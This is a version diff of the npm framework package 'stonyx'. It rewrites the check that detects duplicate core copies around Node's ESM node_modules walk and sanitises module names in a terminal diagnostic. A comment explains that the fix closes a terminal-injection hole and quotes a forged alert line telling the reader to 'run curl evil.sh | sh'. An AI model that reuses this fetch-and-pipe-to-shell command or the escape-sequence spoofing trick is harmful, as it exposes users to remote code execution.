stonyx 0.2.3-alpha.54 → 0.2.3-alpha.56

package/dist/util/duplicate-core.d.ts

@@ -27,42 +27,95 @@ export interface ForeignCore {
  */
 export type InconclusiveReporter = (message: string) => void;
 /**
- * True exactly for the directories Node's own bare-specifier walk emits.
+ * The directories ESM consults for a bare specifier, in the order it consults
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
  *
- * `require.resolve.paths(x)` returns the walk FOLLOWED BY the CJS global
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
+ * through `await import`, so the copy of `stonyx` a module "would import" is
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
+ * is generated rather than filtered, and that is the fix for a defect in each
+ * direction.
+ *
+ * TOO WIDE, the previous defect. The candidates used to come from
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
  * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
  * prefix. ESM ignores every one of those, so honouring them invents a
  * "duplicate" out of an ambient environment variable that the real import never
  * consults. This workspace exports `NODE_PATH` at a different `stonyx`
  * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
- * tree that boots into a hard refusal.
- *
- * The predicate is the walk's own shape, and it is EXACT rather than
- * approximate. Node emits `<d>/node_modules` for every ancestor-or-self `d` of
- * the starting directory, and never descends into a directory already named
- * `node_modules`. So a candidate qualifies iff it is named `node_modules`, its
- * parent is not, and its parent is an ancestor-or-self of the module dir. Any
- * global-folder entry meeting all three is by construction already in the walk,
- * so admitting it changes nothing; every other one is dropped.
- *
- * The PREVIOUS form tested only `dirname(candidate)` against the module dir.
- * For a real walk entry that is the package root and the test holds by
- * construction — but for a `NODE_PATH` entry the candidate is a raw directory,
- * so `dirname` is its PARENT, and any module dir under that parent passed. It
- * went green on macOS only because `os.tmpdir()` yields `/var/folders/...`
- * while the resolved module dir is `/private/var/folders/...`, so the prefix
- * comparison missed on `/private` rather than on non-ancestry. It reds on
- * Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
- *
- * `Module.globalPaths` would express the same restriction by PROVENANCE rather
- * than by shape, and it was measured working at runtime — but `@types/node@25`
- * does not declare it, so it needs an untyped cast whose `?? []` fallback
- * silently restores the defect if the undeclared property ever moves. This form
- * typechecks natively and admits the identical set.
- *
- * `moduleDir` must already be realpath'd; `coreSeenBy` does that first.
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
+ * mode rather than screening for it — nothing here reads the environment, so
+ * there is no list to get the screen wrong on.
+ *
+ * TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
+ * IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
+ * is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
+ * FOLLOWED BY the global folders of the paragraph above. It is the walk proper
+ * that never descends into a directory already named `node_modules`. **ESM's
+ * PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
+ * from a module at `<app>/node_modules/@stonyx/x`:
+ *
+ *   import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
+ *   await import('stonyx')        -> that copy
+ *   require.resolve('stonyx')     -> MODULE_NOT_FOUND
+ *
+ * A genuine second core there was missed silently. Worse, because ESM reaches
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
+ * success — this file's own opening paragraph ("it loads, it initialises, it
+ * reports success, and its hooks silently never fire") surviving the check
+ * written to catch it. Isolating control, moving nothing but the directory: the
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
+ *
+ * THE SET DELTA, both directions and named per enumeration — node v24.13.0,
+ * from that same module dir. Against the WALK PROPER the difference is one
+ * directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
+ * `<app>/node_modules/node_modules` (the miss above), and
+ * `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
+ * second direction is NOT empty and never was: `require.resolve.paths \ esm` =
+ * the three global folders (measured here: `~/.node_modules`,
+ * `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
+ * entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
+ * argued, and it is why an unqualified "the CJS candidates are the same" is
+ * true of one enumeration and false of the other.
+ *
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
+ * levels of nesting is not a candidate, because
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
+ * planted two levels deep resolves to the real core, and is correctly ignored.
+ *
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
+ * reviewed as the screen instead of a shape test, and rejected here on typing
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
+ * at `<app>/node_modules` with a real second core inside it:
+ *
+ *   NODE_PATH=<app>/node_modules   provenance -> no core found
+ *                                  shape      -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *   NODE_PATH unset (control)      provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *                                  shape      -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
+ * the app's own `node_modules` going invisible the moment a developer exports
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
+ * have introduced a miss. Generating the walk retires the question entirely —
+ * there is no list to screen and no environment read — which is why neither
+ * screen survives here.
+ *
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
+ * the first candidate carrying a core is the one returned. It is Node's own
+ * order, verified positionally rather than assumed: a distinct core planted in
+ * each of the first four candidates and removed one at a time, `await import`
+ * selecting exactly this sequence.
+ *
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
  */
-export declare function isWalkEntry(candidate: string, moduleDir: string): boolean;
+export declare function esmNodeModulesWalk(fromDir: string): string[];
 /**
  * The nearest ancestor of `startDir` that OWNS a `package.json`, reported only
  * if that package is `stonyx`.
@@ -86,23 +139,20 @@ export declare function runningCore(report?: InconclusiveReporter): CorePackage
 /**
  * The `stonyx` copy a package installed at `moduleDir` would import.
  *
- * `require.resolve.paths('stonyx')` gives Node's own `node_modules` walk for a
- * bare specifier, which ESM and CJS share — and unlike `require.resolve` it
- * does not consult the target's `exports` map, so a module whose nested core
- * is present but unbuilt is still detected rather than silently skipped.
- *
- * TWO deliberate narrowings:
- *
- *  - `moduleDir` is realpath'd FIRST. Under pnpm, `<app>/node_modules/@stonyx/orm`
- *    is a symlink into `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node
- *    resolves that symlink before resolving the module's own imports. Walking
- *    the symlink path instead reads the app's flat `node_modules` and reports
- *    the running core for every module — the check would pass vacuously on
- *    exactly the installer `stonyx new` uses.
- *  - Candidates are restricted to the entries Node's own walk emits, by
- *    `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
- *    after the walk and ESM ignores every one of them; see that function for
- *    why the predicate is what it is and what the previous one got wrong.
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
+ * first candidate that carries a `stonyx` package root wins, which is exactly
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
+ * still detected rather than silently skipped by an `exports` map.
+ *
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
+ * symlink before resolving the module's own imports. Walking the symlink path
+ * instead reads the app's flat `node_modules` and reports the running core for
+ * every module — the check would pass vacuously on exactly the installer
+ * `stonyx new` uses.
  *
  * Returns `null` when no copy is reachable at all — "cannot tell", handled as
  * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read

package/dist/util/duplicate-core.js

@@ -21,9 +21,8 @@
  * EXACTLY in their own `dependencies`, and an exact pin cannot dedupe against
  * a sibling's different exact pin.
  */
-import { createRequire } from 'node:module';
 import { readFileSync, realpathSync } from 'node:fs';
-import { basename, dirname, join, sep } from 'node:path';
+import { dirname, join } from 'node:path';
 import { fileURLToPath } from 'node:url';
 /** Symlinks resolved so `/tmp/...` and `/private/tmp/...` — and pnpm's
  * `node_modules/x -> .pnpm/x@v/node_modules/x` — compare equal. */
@@ -37,48 +36,101 @@ function realPath(path) {
 }
 const IGNORE = () => { };
 /**
- * True exactly for the directories Node's own bare-specifier walk emits.
+ * The directories ESM consults for a bare specifier, in the order it consults
+ * them: `<d>/node_modules` for every ancestor-or-self `d` of `fromDir`.
  *
- * `require.resolve.paths(x)` returns the walk FOLLOWED BY the CJS global
+ * THE RESOLVER BEING MODELLED IS ESM. `loadModules` reaches every module
+ * through `await import`, so the copy of `stonyx` a module "would import" is
+ * whatever ESM's PACKAGE_RESOLVE finds — not whatever CJS finds. This function
+ * is generated rather than filtered, and that is the fix for a defect in each
+ * direction.
+ *
+ * TOO WIDE, the previous defect. The candidates used to come from
+ * `require.resolve.paths`, which is the CJS walk FOLLOWED BY the CJS global
  * folders — `NODE_PATH`, `~/.node_modules`, `~/.node_libraries`, the node
  * prefix. ESM ignores every one of those, so honouring them invents a
  * "duplicate" out of an ambient environment variable that the real import never
  * consults. This workspace exports `NODE_PATH` at a different `stonyx`
  * (abofs/stonyx#107), so that false positive is not hypothetical: it flips a
- * tree that boots into a hard refusal.
+ * tree that boots into a hard refusal. Generating the walk REMOVES that failure
+ * mode rather than screening for it — nothing here reads the environment, so
+ * there is no list to get the screen wrong on.
+ *
+ * TOO NARROW, and this one was a SILENT MISS. WHICH CJS ENUMERATION IS MEANT
+ * IS PART OF THE CLAIM, because the two are not the same set: the walk PROPER
+ * is `Module._nodeModulePaths`, and `require.resolve.paths` is that walk
+ * FOLLOWED BY the global folders of the paragraph above. It is the walk proper
+ * that never descends into a directory already named `node_modules`. **ESM's
+ * PACKAGE_RESOLVE has no such skip.** Measured with no `NODE_PATH` at all,
+ * from a module at `<app>/node_modules/@stonyx/x`:
+ *
+ *   import.meta.resolve('stonyx') -> <app>/node_modules/node_modules/stonyx/main.js
+ *   await import('stonyx')        -> that copy
+ *   require.resolve('stonyx')     -> MODULE_NOT_FOUND
+ *
+ * A genuine second core there was missed silently. Worse, because ESM reaches
+ * the ancestor `<app>/node_modules` BEFORE `<app>`, that copy SHADOWS a correct
+ * local core at `<app>/node_modules/stonyx` while the pre-flight reported
+ * success — this file's own opening paragraph ("it loads, it initialises, it
+ * reports success, and its hooks silently never fire") surviving the check
+ * written to catch it. Isolating control, moving nothing but the directory: the
+ * same core at `<app>/node_modules/@stonyx/x/node_modules/stonyx` was REFUSED.
+ *
+ * THE SET DELTA, both directions and named per enumeration — node v24.13.0,
+ * from that same module dir. Against the WALK PROPER the difference is one
+ * directory and it is one-sided: `esm \ Module._nodeModulePaths` = exactly
+ * `<app>/node_modules/node_modules` (the miss above), and
+ * `Module._nodeModulePaths \ esm` = `[]`. Against `require.resolve.paths` the
+ * second direction is NOT empty and never was: `require.resolve.paths \ esm` =
+ * the three global folders (measured here: `~/.node_modules`,
+ * `~/.node_libraries` and the node prefix, all three absent on disk) PLUS one
+ * entry per `NODE_PATH` component, four more as this workspace exports it. That tail IS the "too wide" defect above, measured rather than
+ * argued, and it is why an unqualified "the CJS candidates are the same" is
+ * true of one enumeration and false of the other.
+ *
+ * BOUNDED BY ANCESTRY, not by a rule. `<app>/node_modules/node_modules` is a
+ * candidate because `<app>/node_modules` is an ancestor of the module dir; two
+ * levels of nesting is not a candidate, because
+ * `<app>/node_modules/node_modules` is not an ancestor of it. Measured: a core
+ * planted two levels deep resolves to the real core, and is correctly ignored.
+ *
+ * THE REJECTED ALTERNATIVE, and the correction that goes with it. While the
+ * candidates still came from `require.resolve.paths`, `Module.globalPaths` was
+ * reviewed as the screen instead of a shape test, and rejected here on typing
+ * grounds plus the claim that the two "admit the identical set". MEASURED, that
+ * claim is FALSE, and false in the direction that matters: `globalPaths` filters
+ * by STRING MEMBERSHIP, so whenever `NODE_PATH` names a directory that is also
+ * a genuine walk entry, the provenance screen drops the walk entry too. Pointed
+ * at `<app>/node_modules` with a real second core inside it:
  *
- * The predicate is the walk's own shape, and it is EXACT rather than
- * approximate. Node emits `<d>/node_modules` for every ancestor-or-self `d` of
- * the starting directory, and never descends into a directory already named
- * `node_modules`. So a candidate qualifies iff it is named `node_modules`, its
- * parent is not, and its parent is an ancestor-or-self of the module dir. Any
- * global-folder entry meeting all three is by construction already in the walk,
- * so admitting it changes nothing; every other one is dropped.
+ *   NODE_PATH=<app>/node_modules   provenance -> no core found
+ *                                  shape      -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *   NODE_PATH unset (control)      provenance -> 0.0.0-APP-LOCAL-SECOND-CORE
+ *                                  shape      -> 0.0.0-APP-LOCAL-SECOND-CORE
  *
- * The PREVIOUS form tested only `dirname(candidate)` against the module dir.
- * For a real walk entry that is the package root and the test holds by
- * construction — but for a `NODE_PATH` entry the candidate is a raw directory,
- * so `dirname` is its PARENT, and any module dir under that parent passed. It
- * went green on macOS only because `os.tmpdir()` yields `/var/folders/...`
- * while the resolved module dir is `/private/var/folders/...`, so the prefix
- * comparison missed on `/private` rather than on non-ancestry. It reds on
- * Linux, and it reds on macOS the moment `TMPDIR` is realpath-clean.
+ * That is a false NEGATIVE on the commonest tree there is — a second core in
+ * the app's own `node_modules` going invisible the moment a developer exports
+ * `NODE_PATH` at it. So the rejection was right and the stated reason was not:
+ * it is not an equal-but-untyped alternative, it is a narrower one that would
+ * have introduced a miss. Generating the walk retires the question entirely —
+ * there is no list to screen and no environment read — which is why neither
+ * screen survives here.
  *
- * `Module.globalPaths` would express the same restriction by PROVENANCE rather
- * than by shape, and it was measured working at runtime — but `@types/node@25`
- * does not declare it, so it needs an untyped cast whose `?? []` fallback
- * silently restores the defect if the undeclared property ever moves. This form
- * typechecks natively and admits the identical set.
+ * ORDER IS LOAD-BEARING — it is what makes the shadowing case detectable, since
+ * the first candidate carrying a core is the one returned. It is Node's own
+ * order, verified positionally rather than assumed: a distinct core planted in
+ * each of the first four candidates and removed one at a time, `await import`
+ * selecting exactly this sequence.
  *
- * `moduleDir` must already be realpath'd; `coreSeenBy` does that first.
+ * `fromDir` must already be realpath'd; `coreSeenBy` does that first.
  */
-export function isWalkEntry(candidate, moduleDir) {
-    if (basename(candidate) !== 'node_modules')
-        return false;
-    const owner = dirname(candidate);
-    if (basename(owner) === 'node_modules')
-        return false;
-    return moduleDir === owner || moduleDir.startsWith(owner.endsWith(sep) ? owner : owner + sep);
+export function esmNodeModulesWalk(fromDir) {
+    const walk = [];
+    for (let dir = fromDir;; dir = dirname(dir)) {
+        walk.push(join(dir, 'node_modules'));
+        if (dirname(dir) === dir)
+            return walk;
+    }
 }
 /**
  * `null` when nothing is there — the ordinary case while walking up.
@@ -149,23 +201,20 @@ export function runningCore(report = IGNORE) {
 /**
  * The `stonyx` copy a package installed at `moduleDir` would import.
  *
- * `require.resolve.paths('stonyx')` gives Node's own `node_modules` walk for a
- * bare specifier, which ESM and CJS share — and unlike `require.resolve` it
- * does not consult the target's `exports` map, so a module whose nested core
- * is present but unbuilt is still detected rather than silently skipped.
- *
- * TWO deliberate narrowings:
+ * The candidate set is `esmNodeModulesWalk` — Node's ESM walk, generated, in
+ * Node's order — because ESM is the resolver `loadModules` actually uses. The
+ * first candidate that carries a `stonyx` package root wins, which is exactly
+ * how PACKAGE_RESOLVE picks. Manifests are read directly rather than through
+ * `require.resolve`, so a module whose nested core is present but unbuilt is
+ * still detected rather than silently skipped by an `exports` map.
  *
- *  - `moduleDir` is realpath'd FIRST. Under pnpm, `<app>/node_modules/@stonyx/orm`
- *    is a symlink into `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node
- *    resolves that symlink before resolving the module's own imports. Walking
- *    the symlink path instead reads the app's flat `node_modules` and reports
- *    the running core for every module — the check would pass vacuously on
- *    exactly the installer `stonyx new` uses.
- *  - Candidates are restricted to the entries Node's own walk emits, by
- *    `isWalkEntry`. `require.resolve.paths` appends the CJS global folders
- *    after the walk and ESM ignores every one of them; see that function for
- *    why the predicate is what it is and what the previous one got wrong.
+ * ONE deliberate narrowing beyond the walk: `moduleDir` is realpath'd FIRST.
+ * Under pnpm, `<app>/node_modules/@stonyx/orm` is a symlink into
+ * `.pnpm/@stonyx+orm@v/node_modules/@stonyx/orm`, and Node resolves that
+ * symlink before resolving the module's own imports. Walking the symlink path
+ * instead reads the app's flat `node_modules` and reports the running core for
+ * every module — the check would pass vacuously on exactly the installer
+ * `stonyx new` uses.
  *
  * Returns `null` when no copy is reachable at all — "cannot tell", handled as
  * not-a-duplicate by `findForeignCores`. Manifests that exist but will not read
@@ -173,10 +222,7 @@ export function runningCore(report = IGNORE) {
  */
 export function coreSeenBy(moduleDir, report = IGNORE) {
     const resolvedModuleDir = realPath(moduleDir);
-    const candidates = createRequire(join(resolvedModuleDir, 'package.json')).resolve.paths('stonyx') ?? [];
-    for (const nodeModulesDir of candidates) {
-        if (!isWalkEntry(nodeModulesDir, resolvedModuleDir))
-            continue;
+    for (const nodeModulesDir of esmNodeModulesWalk(resolvedModuleDir)) {
         const core = asCore(join(nodeModulesDir, 'stonyx'), report);
         if (core)
             return core;
@@ -216,13 +262,22 @@ export function findForeignCores(modules, core = undefined, report = IGNORE) {
     return foreign;
 }
 /**
- * Third-party manifest data is not trusted for display.
+ * NOTHING OFF DISK IS TRUSTED FOR DISPLAY — all three interpolated fields.
+ *
+ * `version` and the package root come from a manifest this app did not write.
+ * `moduleName` is narrower — it is a key from the app's own `devDependencies`,
+ * so forging it is an app author forging their own diagnostic — but it is
+ * rendered through the same `padEnd` table, and it caused the same two
+ * symptoms: seeded with ANSI escapes and embedded newlines it FORGED A
+ * COMPLETE TABLE ROW inside the diagnostic (`===> ALERT: run curl evil.sh |
+ * sh <===`, indented to match) and destroyed the column alignment, because the
+ * widths are computed from the raw multi-line label.
+ *
+ * It was left raw at three sites while its two neighbours were sanitised — the
+ * package ROOT derived from that same name is sanitised in the very same row.
+ * Two halves of one string treated differently is an oversight, not a
+ * judgement, so it is closed rather than argued down.
  *
- * `version` and the directory name both come off disk from a package this app
- * did not write, and both are echoed into a message a human reads in a
- * terminal. Seeded with ANSI escapes and embedded newlines, the raw value
- * FORGED ITS OWN LINES inside the diagnostic — `===> ALERT: run curl evil.sh |
- * sh <===`, indented to match — and destroyed the `padEnd` column alignment.
  * This renders BEFORE any module entry point is imported, so it is reachable
  * under `npm install --ignore-scripts`: the one mode in which no third-party
  * code has otherwise executed.
@@ -231,11 +286,19 @@ export function findForeignCores(modules, core = undefined, report = IGNORE) {
  * the message off screen either.
  */
 /**
- * Roots are clamped at `PATH_MAX` rather than at the version's 64. A root is
- * the one thing in this message a consumer acts on directly, and a truncated
- * path is worse than a long one — the version is a label, the path is an
+ * Roots are clamped at `PATH_MAX` rather than at the default 64. A root is the
+ * one thing in this message a consumer acts on directly, and a truncated path
+ * is worse than a long one — the version is a label, the path is an
  * instruction. Nothing longer than this can exist on the filesystems Node runs
  * on, so in practice a root is sanitised and never shortened.
+ *
+ * WHAT DECIDES THE LIMIT IS THE COLUMN, not the field's importance. The root is
+ * rendered LAST on its line and is never `padEnd`ed, so its length costs
+ * nothing but its own wrap. The module name and the version are both inside
+ * PADDED columns whose widths are the max over every row, so one long value
+ * there pushes every other row's remaining columns off screen. Those two take
+ * the tight default; a scoped `@stonyx/*` devDependency key is far short of it,
+ * so a real name is sanitised and never shortened either.
  */
 const PATH_LIMIT = 1024;
 function display(value, limit = 64) {
@@ -256,7 +319,7 @@ export function duplicateCoreMessage(foreign) {
     const [first] = foreign;
     if (!first)
         throw new Error('duplicateCoreMessage called with no foreign cores');
-    const names = foreign.map(({ moduleName }) => `"${moduleName}"`).join(', ');
+    const names = foreign.map(({ moduleName }) => `"${display(moduleName)}"`).join(', ');
     const single = foreign.length === 1;
     // DISTINCT roots, not `foreign.length + 1`. Two modules that both resolve
     // the SAME nested copy are two rows and two copies, not three. Found by
@@ -267,7 +330,7 @@ export function duplicateCoreMessage(foreign) {
     const copies = new Set([first.runningCore.root, ...foreign.map(({ moduleCore }) => moduleCore.root)]).size;
     const rows = [
         ['running core', display(first.runningCore.version), display(first.runningCore.root, PATH_LIMIT)],
-        ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${moduleName}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
+        ...foreign.map(({ moduleName, moduleCore }) => [`seen by "${display(moduleName)}"`, display(moduleCore.version), display(moduleCore.root, PATH_LIMIT)]),
     ];
     const labelWidth = Math.max(...rows.map(([label]) => label.length));
     const versionWidth = Math.max(...rows.map(([, version]) => version.length));

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "stonyx",
-  "version": "0.2.3-alpha.54",
+  "version": "0.2.3-alpha.56",
   "description": "Base stonyx framework module",
   "main": "dist/main.js",
   "types": "dist/main.d.ts",